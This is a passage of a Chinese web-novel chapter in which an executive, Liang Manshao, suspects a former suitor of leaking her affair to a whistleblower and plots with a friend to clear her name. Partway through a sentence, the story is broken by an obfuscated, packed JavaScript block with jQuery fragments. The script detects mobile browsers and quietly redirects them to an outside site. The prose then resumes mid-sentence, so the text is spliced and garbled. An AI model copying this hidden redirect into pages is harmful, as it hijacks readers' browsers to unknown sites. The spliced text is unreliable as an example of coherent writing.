走出闵氏海运的大楼，梁曼韶转身回头，眯着眼睛往上看。今日阳光明媚甚至毒辣，打到玻璃幕墙上刺眼非常。在这炫目光亮之中，梁曼韶没有办法分辨哪一间是赵祈恒的办公室。
梁曼韶低下头闭上眼，眼前是因为强光残留的一片模糊。在那片模糊之中，她看见赵祈恒的脸，他金丝边框眼镜背后审视她的目光。
是赵祈恒。
梁曼韶不能再肯定，她此时此刻没有任何证据，甚至刚刚她杀上赵祈恒的办公室，看到的所有都是反证，可是她能肯定，是赵祈恒。
能从这件事里头获利的无外乎是战投、她的下属、赵祈恒。战投是明枪，她无比信任詹清和跟彭彭。只有赵祈恒。赵祈恒知道新加坡那晚的事，闵金瑛也用她拉拢过赵祈恒，更重要的是，赵祈恒知道她这么一路走过来遇到过多少艰难困苦，知道这一切对她来说有多重要，知道她多放不下面子和别人嘴里的一句“梁总”。
可怎么证明？
举报的人是Sam，赵祈恒跟他怎么扯上关系的？
证明了又有什么用？
赵祈恒说的有千般难听，可他没有说错，事已至此，她即便是和林煦断了也于事无补，眼下Spark和Healing的合作日渐加深，即便证明了她从无偏私，流言与猜想在别人的心里嘴里，又能证明多少？
梁曼韶拿出手机，在通讯录里翻了翻，看着林煦的头像看了半晌，打给了陆云萍。
“喂，宝贝儿，找我干嘛呢？”那头陆云萍声音甜腻如蜜糖，音调九转十八弯，可以想见她此刻有多快乐。
梁曼韶跟着陆云萍的声音低低笑了一声，她揉了揉自己的额头：“被你说中了。”
“啊？”陆云萍聪明绝顶，一下子反应过来是什么事，哎呀叫一声，“我这乌鸦嘴。你在哪儿呢？我去找你，我们找个SPA先捏一捏。你听我说，这种时候就要洗洗晦气。”
梁曼韶此刻也不知道有何处可去何事可做，陆云萍说找个SPA，她正好想一想接下来该怎么应对，也就答应了。陆云萍发来地址，梁曼韶打了个车就前往。
趴在按摩床上听颂钵的时候，梁曼韶是发自真心地觉得，陆云萍能把陆家的生意打理得有声有色，这举重若轻的潇洒与通透，确实是其中关窍，她要好好学一学。
陆云萍抬手指了指肩膀，示意按摩师往斜方多上一点精油，好好给她捏一捏。
“你也不用太担心了，万事还有我呢。我可是真心给你发offer，我都求你来帮我。”陆云萍哎呦哎呦两声，让按摩师保持力度，又说：“我知道你要面子，既怕人说闲话，又怕管不住人。可曼韶，你该明白日久见人心的道理。你要是遇上事能不怕事，真给下属解决问题带大家发财，底下的人自然会服你。没有本事，只能说没关系的人当面挨骂，有关系的人背后挨骂，都一样。”
梁曼韶叹了口气：“我明白，可我不能就这么灰头土脸地离开Spark。”
“你放一百个心吧，你这样的优秀高管，要人脉有人脉，要成果有成果，要团队有团队，真让你走的话，这破企业也没什么好呆的，拿钱走人。再说了，把你开了，招一个你这样位置的人，或者提一个你的下属，再招一个中层管理，没有三五个月这事办不成，成了也伤筋动骨。你呀，就是爱把事情往坏处想。”
陆云萍说的不无道理，可梁曼韶想公司里哪里有人真的这么不可或缺，更何况这件事也影响到她在业内的口碑。陆云萍这凭着闺蜜关系给的offer不做参考，真金白银还得看外头。
梁曼韶想起Inch，过两天如果事情传出去，她要找汪畅探探口风。
陆云萍又喊了梁曼韶一声，“这件事顶多也就是走个程序。当务之急，是把这个公司里头背后阴你阴你领导的人揪出来，杀一儆百。”
“实名举报。举报那人是个ABC，战投的VP。就我跟你说过那个，他前CEO的小情人。靠山不在了就乱划地盘，和我老板对上了，卡在我老板晋升答辩前一天把我这件事爆出来。”
陆云萍啧啧连声：“你们公司这都什么跟什么啊？趁早辞了算了。你们CEO董事会都干什么吃的？养的都是什么管理层啊？”
梁曼韶叹口气：“如果这件事，是一线员工，哦不，只要不是我这层的举报上去，HR都能睁一只眼闭一只眼地过去。可偏偏是他，一封邮件直接闹到CEO那儿，不管都不行。”
陆云萍拍了拍背上捏着的手，撑着身子起来，认真道：“曼韶，我是真心劝你，趁着这次机会走吧。我问你，今天你被拉上会说这件事，你老板是不是一个字都没有替你辩解替你争取？”
梁曼韶沉默半晌：“我明白你说什么。”
“明白你还在这儿纠结什么，你老板的晋升都搅黄了，即便你留下来，你晚上睡得安稳吗？你不愿意来我这儿，那你赶紧找猎头，最近有什么offer都拿出来挑一挑，赶紧的。”
梁曼韶正色道：“我说了，我不会灰头土脸地离开Spark，我一定要清清白白地证明，我没有损害公司的利益，然后我再昂首挺胸地走出Spark的大门。错过offer也好，丢了也罢，大不了我不工作一年半年，这条黑历史留下来，是我一辈子职业生涯的污点，这不能够。”
陆云萍皱眉，冷冷吐槽一句：“硬颈。（真倔）”
陆云萍又趴回去，拍拍肩膀让人继续按摩：“那你想怎么查，我看看我怎么帮你。ABC嘛，美国的事情我还不好查？”
梁曼韶想了想道：“这ABC虽然靠后台，但不至于这么笨。Spark亚太管理要切割，他不是中国人，这位置不可能是他的，他抢也没用。而且实名举报，不在乎后果，那就只能是公报公仇。我把他领英发给你，你帮我查查，问一圈猎头，看他最近是不是接了offer要跳槽，这么肆无忌惮。”
陆云萍嗯了一声算答应：“可这些东西他怎么拿到手，最关键的，是他怎么知道你和林煦在一起，还有飞机上的照片？”
梁曼韶深深呼吸：“我怀疑赵祈恒。那张照片的前一天，他问要不要去机场接我来着，他知道我的航班信息。而且他问的那天，林煦抢了我手机跟他打电话，他知道这件事。”
“挺劲爆啊。”陆云萍笑个不停，“曼韶，难怪说物以类聚人以群分，你这一脚踏两船，不比我好多少，我要道德谴责你了。”
“什么呀。我拒绝了，我跟赵祈恒什么都没有。”
陆云萍一嗤：“你说没有就没有吧。话说回来，赵祈恒跟这ABC能有什么关系呢？共友？同学？”
“赵祈恒在北京读的大学，根本没有出国工作过。毕业了就在国企，跳出来到了我工作的那家初创公司当财务，然后就去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104407|174560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闵氏海运，北京那个，不是深圳的。”
陆云萍追问：“什么国企，给我一个名字，我去问问有没有跟美国那边有业务往来，或许有共同合作过的项目。”
梁曼韶报了名字，忽然想起什么，又说：“还有个人，王永峰，Joseph，是那个ABC的下属。我记得我老板提过，他在国企摸爬滚打很多年，我回去挖一下他的履历。”
陆云萍坐起身来，一拍手掌：“问到了赶紧告诉我，即便不是同一家公司，有合作经历的也可疑，这种爱玩阴招的人，闻着味儿就能当朋友了。”
梁曼韶也起身来，跟陆云萍松松筋骨穿好衣服就去找点东西吃，一边走一边说，愤愤不平：“要真是他，我都要被气个半死。是这个王永峰来找我当说客，去谈Healing的投资，结果他老板逼他压价。我把这事做成了，他还记恨我。亏我还在我老板面前帮他说过话。”
陆云萍拍拍梁曼韶的肩膀：“白眼狼满大街都是，你们这样的公司，上梁不正下梁歪，很正常。你犯这点事儿相比起来真不算什么，苦了你了。”
梁曼韶气不打一处来，跟陆云萍简单在SPA吃了个饭，陆云萍说要让司机送她回家，她还有些忐忑。
陆云萍跟梁曼韶一起坐进车后座，看她表情犹豫，笑起来：“你这是不想见林煦这个始作俑者？怕你见了就要打死他？”
梁曼韶摇摇头：“说实话，这件事一个巴掌拍不响，我也有责任。这件事他可能还不知道，我回去要写解释文档，我不想他看见。”
陆云萍没说话，垂眼看着自己的美甲。
“你跟他说了？”梁曼韶捏起陆云萍的下巴，跟她对视。
陆云萍握住梁曼韶的手，点点头：“你来SPA的路上我就打电话骂了他一顿，你知道我的，这口气我不出不快。不然我就得当着你的面骂他了，你要是维护他，我更生气。那不好吧，太生气了人会老得很快的。”
梁曼韶这下是恨不得咬陆云萍一口解气。
陆云萍眨巴眨巴她的漂亮眼睛，劝道：“回去吧，你想骂他就去他家，想安静写罪己诏就回自己家。你选吧。”
梁曼韶叹了口气，报了自己家的地址。
陆云萍撇撇嘴：“没出息。”
梁曼韶不以为意：“骂他又能怎么样，能解决问题才是最重要的。”
车开到梁曼韶家楼下，她还没有推车门下去，手腕却被陆云萍攥住。陆云萍舔舔嘴唇，犹豫几秒才开口：“你对赵祈恒，是真的放下了，对吗？”
梁曼韶眯着眼睛看她：“你要做什么？”
陆云萍道：“你把你公司的人揪出来可以杀一儆百。但对赵祈恒，你什么都做不了，我倒是可以试一试。我知道他家在广州没什么背景，而且他是财务嘛，特别是给闵家人打工的财务，不可能完全干净。我只是怕，我挖到了什么，你又心软，让我白费力气。”
梁曼韶想了想：“他都用我的工作事业来整我，我没有什么好心软的。”
陆云萍长长的美甲点着梁曼韶：“这可是你说的。”
梁曼韶重重点头，陆云萍这才放她下车回家。
电梯直上19楼，梁曼韶走到家门前，停顿片刻，指纹解锁开门。
里头开着灯，有人。
门刚开，她就听见林煦的声音。
“对不起。”